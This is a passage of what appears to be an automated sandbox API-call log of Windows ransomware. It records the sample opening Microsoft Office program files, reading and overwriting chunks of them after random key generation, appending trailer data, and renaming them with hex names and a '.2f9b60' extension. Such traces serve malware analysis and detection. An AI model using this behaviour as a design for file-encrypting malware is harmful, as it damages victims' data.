_Dest=0x1b78e5d4, _Format="%c%c" | out: _Dest="81") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5d6, _Format="%c%c" | out: _Dest="fb") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5d8, _Format="%c%c" | out: _Dest="30") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5da, _Format="%c%c" | out: _Dest="34") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5dc, _Format="%c%c" | out: _Dest="d4") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5de, _Format="%c%c" | out: _Dest="cb") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5e0, _Format="%c%c" | out: _Dest="77") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5e2, _Format="%c%c" | out: _Dest="7f") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5e4, _Format="%c%c" | out: _Dest="6a") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5e6, _Format="%c%c" | out: _Dest="00") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5e8, _Format="%c%c" | out: _Dest="bc") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5ea, _Format="%c%c" | out: _Dest="b5") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5ec, _Format="%c%c" | out: _Dest="10") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5ee, _Format="%c%c" | out: _Dest="14") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5f0, _Format="%c%c" | out: _Dest="72") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5f2, _Format="%c%c" | out: _Dest="5e") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5f4, _Format="%c%c" | out: _Dest="e3") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5f6, _Format="%c%c" | out: _Dest="34") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5f8, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5fa, _Format="%c%c" | out: _Dest="fa") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5fc, _Format="%c%c" | out: _Dest="94") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e5fe, _Format="%c%c" | out: _Dest="8d") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e600, _Format="%c%c" | out: _Dest="a3") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e602, _Format="%c%c" | out: _Dest="0b") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e604, _Format="%c%c" | out: _Dest="71") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e606, _Format="%c%c" | out: _Dest="e4") returned 2 [0208.522] sprintf (in: _Dest=0x1b78e608, _Format="%c%c" | out: _Dest="fd") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e60a, _Format="%c%c" | out: _Dest="7f") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e60c, _Format="%c%c" | out: _Dest="48") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e60e, _Format="%c%c" | out: _Dest="a7") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e610, _Format="%c%c" | out: _Dest="a5") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e612, _Format="%c%c" | out: _Dest="c2") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e614, _Format="%c%c" | out: _Dest="0e") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e616, _Format="%c%c" | out: _Dest="1c") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e618, _Format="%c%c" | out: _Dest="6e") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e61a, _Format="%c%c" | out: _Dest="e5") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e61c, _Format="%c%c" | out: _Dest="4b") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e61e, _Format="%c%c" | out: _Dest="23") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e620, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e622, _Format="%c%c" | out: _Dest="1b") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e624, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e626, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e628, _Format="%c%c" | out: _Dest="fe") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e62a, _Format="%c%c" | out: _Dest="c8") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e62c, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e62e, _Format="%c%c" | out: _Dest="d9") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e630, _Format="%c%c" | out: _Dest="ec") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e632, _Format="%c%c" | out: _Dest="d0") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e634, _Format="%c%c" | out: _Dest="79") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e636, _Format="%c%c" | out: _Dest="1d") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e638, _Format="%c%c" | out: _Dest="e0") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e63a, _Format="%c%c" | out: _Dest="fa") returned 2 [0208.523] sprintf (in: _Dest=0x1b78e63c, _Format="%c%c" | out: _Dest="33") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e63e, _Format="%c%c" | out: _Dest="f4") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e640, _Format="%c%c" | out: _Dest="c2") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e642, _Format="%c%c" | out: _Dest="09") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e644, _Format="%c%c" | out: _Dest="9d") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e646, _Format="%c%c" | out: _Dest="4e") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e648, _Format="%c%c" | out: _Dest="02") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e64a, _Format="%c%c" | out: _Dest="d5") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e64c, _Format="%c%c" | out: _Dest="0a") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e64e, _Format="%c%c" | out: _Dest="3c") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e650, _Format="%c%c" | out: _Dest="bb") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e652, _Format="%c%c" | out: _Dest="0d") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e654, _Format="%c%c" | out: _Dest="52") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e656, _Format="%c%c" | out: _Dest="15") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e658, _Format="%c%c" | out: _Dest="75") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e65a, _Format="%c%c" | out: _Dest="1a") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e65c, _Format="%c%c" | out: _Dest="fa") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e65e, _Format="%c%c" | out: _Dest="bc") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e660, _Format="%c%c" | out: _Dest="a5") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e662, _Format="%c%c" | out: _Dest="6b") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e664, _Format="%c%c" | out: _Dest="b2") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e666, _Format="%c%c" | out: _Dest="ee") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e668, _Format="%c%c" | out: _Dest="d3") returned 2 [0208.524] sprintf (in: _Dest=0x1b78e66a, _Format="%c%c" | out: _Dest="4e") returned 2 [0208.524] RtlInitAnsiString (in: DestinationString=0x2171f928, SourceString="f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7547b95ac7616612f26aa0faed81fb3034d4cb777f6a00bcb51014725ee3344afa948da30b71e4fd7f48a7a5c20e1c6ee54b23eb1ba0a0fec85dd9ecd0791de0fa33f4c2099d4e02d50a3cbb0d5215751afabca56bb2eed34e" | out: DestinationString="f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7547b95ac7616612f26aa0faed81fb3034d4cb777f6a00bcb51014725ee3344afa948da30b71e4fd7f48a7a5c20e1c6ee54b23eb1ba0a0fec85dd9ecd0791de0fa33f4c2099d4e02d50a3cbb0d5215751afabca56bb2eed34e") [0208.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x2171f8f8, SourceString="f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7547b95ac7616612f26aa0faed81fb3034d4cb777f6a00bcb51014725ee3344afa948da30b71e4fd7f48a7a5c20e1c6ee54b23eb1ba0a0fec85dd9ecd0791de0fa33f4c2099d4e02d50a3cbb0d5215751afabca56bb2eed34e", AllocateDestinationString=1 | out: DestinationString="f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7547b95ac7616612f26aa0faed81fb3034d4cb777f6a00bcb51014725ee3344afa948da30b71e4fd7f48a7a5c20e1c6ee54b23eb1ba0a0fec85dd9ecd0791de0fa33f4c2099d4e02d50a3cbb0d5215751afabca56bb2eed34e") returned 0x0 [0208.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1da) returned 0x1b7d64c0 [0208.526] wcscat (in: _Dest=0x1ceb53f0, _Source="f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7") returned="C:\\Program Files\\Microsoft Office\\Office14\\f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7" [0208.526] wcscat (in: _Dest=0x1ceb53f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7.2f9b60" [0208.526] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7.2f9b60", NtPathName=0x2171f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\f0c95f6fad0f7490b98708375a379a3c4d6d34b917883c9bb07584625a7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfa) returned 0x431aa0a0 Thread: id = 1712 os_tid = 0x334 [0130.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\mml2omml.xsl")) returned 0x20 [0132.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL", dwFileAttributes=0x20) returned 1 [0133.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\mml2omml.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c18 [0134.492] GetFileSizeEx (in: hFile=0x1c18, lpFileSize=0x21dbfce0 | out: lpFileSize=0x21dbfce0*=155527) returned 1 [0134.492] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x25f83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.492] ReadFile (in: hFile=0x1c18, lpBuffer=0x21dbfc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21dbfca8, lpOverlapped=0x0 | out: lpBuffer=0x21dbfc60*, lpNumberOfBytesRead=0x21dbfca8*=0x4, lpOverlapped=0x0) returned 1 [0134.515] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676e0 [0134.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202677d0 [0134.515] NtQuerySystemTime (in: CurrentTime=0x21dbfba0 | out: CurrentTime=0x21dbfba0*=132462177397522000) returned 0x0 [0134.515] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x31c6ce66 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x2acc081d [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x6443f4c3 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x38dc04ce [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x48b977d1 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x2074fa69 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x54edbc8b [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x2a3a491c [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x1afa3a83 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x4788fe50 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0xe42285 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0xca5b1be [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x92611ed [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x63a99dd [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x15a9d9e3 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x6146855b [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x44ea8e39 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x140cf132 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x6601cbc5 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x1a67e28a [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x622abfbf [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x130897d4 [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x53dfabdb [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x1e83d32c [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x226cf5c [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x6614a11a [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x773d974e [0134.516] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x2e2aa8 [0134.517] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x67d1fa4a [0134.517] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x78cbbdcc [0134.517] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x100b9ff2 [0134.517] RtlRandomEx (in: Seed=0x21dbfb90 | out: Seed=0x21dbfb90) returned 0x4283229a [0134.527] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.527] ReadFile (in: hFile=0x1c18, lpBuffer=0x41cc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21dbfc00, lpOverlapped=0x0 | out: lpBuffer=0x41cc4990*, lpNumberOfBytesRead=0x21dbfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0134.548] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0134.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0134.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267410) returned 1 [0134.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cd00b0 [0134.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0134.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267860) returned 1 [0134.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0134.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0134.552] WriteFile (hFile=0x1c18, lpBuffer=0x41cd00b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21dbfc00, lpOverlapped=0x0) [0179.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd00b0) returned 1 [0179.906] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.906] ReadFile (in: hFile=0x1c18, lpBuffer=0x41cc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21dbfc00, lpOverlapped=0x0 | out: lpBuffer=0x41cc4990*, lpNumberOfBytesRead=0x21dbfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0182.011] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ed90 [0182.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ed90) returned 1 [0182.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43012110 [0182.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ed90 [0182.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2edc0 [0182.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2edc0) returned 1 [0182.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.015] WriteFile (in: hFile=0x1c18, lpBuffer=0x43012110*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21dbfc00, lpOverlapped=0x0 | out: lpBuffer=0x43012110*, lpNumberOfBytesWritten=0x21dbfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0199.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43012110) returned 1 [0199.264] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x22387, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.264] ReadFile (in: hFile=0x1c18, lpBuffer=0x41cc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21dbfc00, lpOverlapped=0x0 | out: lpBuffer=0x41cc4990*, lpNumberOfBytesRead=0x21dbfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0199.265] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x22387, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0199.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ae0) returned 1 [0199.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43012110 [0199.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0199.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0199.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a80) returned 1 [0199.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.270] WriteFile (in: hFile=0x1c18, lpBuffer=0x43012110*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21dbfc00, lpOverlapped=0x0 | out: lpBuffer=0x43012110*, lpNumberOfBytesWritten=0x21dbfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0214.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43012110) returned 1 [0214.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104c60 [0214.853] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.854] WriteFile (in: hFile=0x1c18, lpBuffer=0x431f4b40*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x21dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x431f4b40*, lpNumberOfBytesWritten=0x21dbfcb0*=0x14a, lpOverlapped=0x0) returned 1 [0218.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62870 [0218.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb4b0 [0218.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb4b0) returned 1 [0218.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb4b0 [0218.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb480 [0218.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb480) returned 1 [0218.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0218.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad920 [0218.888] sprintf (in: _Dest=0x431ad920, _Format="%c%c" | out: _Dest="08") returned 2 [0218.888] sprintf (in: _Dest=0x431ad922, _Format="%c%c" | out: _Dest="7e") returned 2 [0218.888] sprintf (in: _Dest=0x431ad924, _Format="%c%c" | out: _Dest="a4") returned 2 [0218.888] sprintf (in: _Dest=0x431ad926, _Format="%c%c" | out: _Dest="98") returned 2 [0218.888] sprintf (in: _Dest=0x431ad928, _Format="%c%c" | out: _Dest="b8") returned 2 [0218.888] sprintf (in: _Dest=0x431ad92a, _Format="%c%c" | out: _Dest="f9") returned 2 [0218.888] sprintf (in: _Dest=0x431ad92c, _Format="%c%c" | out: _Dest="d8") returned 2 [0218.888] sprintf (in: _Dest=0x431ad92e, _Format="%c%c" | out: _Dest="b5") returned 2 [0218.888] sprintf (in: _Dest=0x431ad930, _Format="%c%c" | out: _Dest="b5") returned 2 [0218.888] sprintf (in: _Dest=0x431ad932, _Format="%c%c" | out: _Dest="d6") returned 2 [0218.888] sprintf (in: _Dest=0x431ad934, _Format="%c%c" | out: _Dest="28") returned 2 [0218.888] sprintf (in: _Dest=0x431ad936, _Format="%c%c" | out: _Dest="f7") returned 2 [0218.888] sprintf (in: _Dest=0x431ad938, _Format="%c%c" | out: _Dest="cc") returned 2 [0218.888] sprintf (in: _Dest=0x431ad93a, _Format="%c%c" | out: _Dest="fa") returned 2 [0218.888] sprintf (in: _Dest=0x431ad93c, _Format="%c%c" | out: _Dest="58") returned 2 [0218.888] sprintf (in: _Dest=0x431ad93e, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.888] sprintf (in: _Dest=0x431ad940, _Format="%c%c" | out: _Dest="c6") returned 2 [0218.888] sprintf (in: _Dest=0x431ad942, _Format="%c%c" | out: _Dest="09") returned 2 [0218.888] sprintf (in: _Dest=0x431ad944, _Format="%c%c" | out: _Dest="1c") returned 2 [0218.888] sprintf (in: _Dest=0x431ad946, _Format="%c%c" | out: _Dest="56") returned 2 [0218.888] sprintf (in: _Dest=0x431ad948, _Format="%c%c" | out: _Dest="7a") returned 2 [0218.888] sprintf (in: _Dest=0x431ad94a, _Format="%c%c" | out: _Dest="d9") returned 2 [0218.888] sprintf (in: _Dest=0x431ad94c, _Format="%c%c" | out: _Dest="d2") returned 2 [0218.888] sprintf (in: _Dest=0x431ad94e, _Format="%c%c" | out: _Dest="36") returned 2 [0218.888] RtlInitAnsiString (in: DestinationString=0x21dbfd28, SourceString="087ea498b8f9d8b5b5d628f7ccfa58e3c6091c567ad9d236" | out: DestinationString="087ea498b8f9d8b5b5d628f7ccfa58e3c6091c567ad9d236") [0218.888] RtlAnsiStringToUnicodeString (in: DestinationString=0x21dbfcf8, SourceString="087ea498b8f9d8b5b5d628f7ccfa58e3c6091c567ad9d236", AllocateDestinationString=1 | out: DestinationString="087ea498b8f9d8b5b5d628f7ccfa58e3c6091c567ad9d236") returned 0x0 [0218.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43104e20 [0218.889] wcscat (in: _Dest=0x202af8e0, _Source="087ea498b8f9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\087ea498b8f9") returned="C:\\Program Files\\Microsoft Office\\Office14\\087ea498b8f9" [0218.889] wcscat (in: _Dest=0x202af8e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\087ea498b8f9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\087ea498b8f9.2f9b60" [0218.889] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\087ea498b8f9.2f9b60", NtPathName=0x21dbfcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\087ea498b8f9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x4310a4b0 Thread: id = 1713 os_tid = 0xed0 [0130.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb")) returned 0x20 [0132.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB", dwFileAttributes=0x20) returned 1 [0133.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c38 [0134.617] GetFileSizeEx (in: hFile=0x1c38, lpFileSize=0x21faf980 | out: lpFileSize=0x21faf980*=677248) returned 1 [0134.617] SetFilePointerEx (in: hFile=0x1c38, 